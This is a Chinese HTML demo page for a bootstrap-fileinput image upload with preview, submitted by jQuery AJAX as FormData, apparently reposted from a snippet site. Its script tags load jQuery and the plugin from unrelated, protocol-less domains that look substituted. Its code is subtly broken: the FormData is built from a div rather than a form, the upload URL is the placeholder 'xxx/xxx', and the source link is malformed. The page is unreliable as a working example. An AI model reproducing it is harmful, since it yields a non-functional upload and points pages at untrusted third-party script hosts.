|
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>FormData图片上传预览插件</title> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/bootstrap-fileinput.css" rel="stylesheet"> </head> <body> <div class="container"> <div class="page-header"> <h3>FormData图片上传</h3> <form> <div class="form-group" id="uploadForm" enctype='multipart/form-data'> <div class="h4">图片预览</div> <div class="fileinput fileinput-new" data-provides="fileinput" id="exampleInputUpload"> <div class="fileinput-new thumbnail" style="width: 200px;height: auto;max-height:150px;"> <img id='picImg' style="width: 100%;height: auto;max-height: 140px;" src="images/noimage.png" alt="" /> </div> <div class="fileinput-preview fileinput-exists thumbnail" style="max-width: 200px; max-height: 150px;"></div> <div> <span class="btn btn-primary btn-file"> <span class="fileinput-new">选择文件</span> <span class="fileinput-exists">换一张</span> <input type="file" name="pic1" id="picID" accept="image/gif,image/jpeg,image/x-png"> </span> <a href="javascript:;" class="btn btn-warning fileinput-exists" data-dismiss="fileinput">移除</a> </div> </div> </div> <button type="button" id="uploadSubmit" class="btn btn-info">提交</button> </form> </div> </div> <script src="www.shaxiangift.com/jquery.min "></script> <script src="www.scdscyy.com/bootstrap-fileinput "></script> <script type="text/javascript"> $(function () { //比较简洁，细节可自行完善 $('#uploadSubmit').click(function () { var data = new FormData($('#uploadForm')[0]); $.ajax({ url: 'xxx/xxx', type: 'POST', data: data, async: false, cache: false, contentType: false, processData: false, success: function (data) { console.log(data); if(data.status){ console.log('upload success'); }else{ console.log(data.message); } }, error: function (data) { console.log(data.status); } }); }); }) </script> <div style="text-align:center;margin:50px 0; font:normal 14px/24px 'MicroSoft YaHei';"> <p>适用浏览器：360、FireFox、Chrome、Safari、Opera、傲游、搜狗、世界之窗. 不支持IE8及以下浏览器。</p> <p>来源：<a href="http://down./" target="_blank"> </a></p> </div> </body> </html> |
|
|
来自： 昵称48806104 > 《文件夹1》
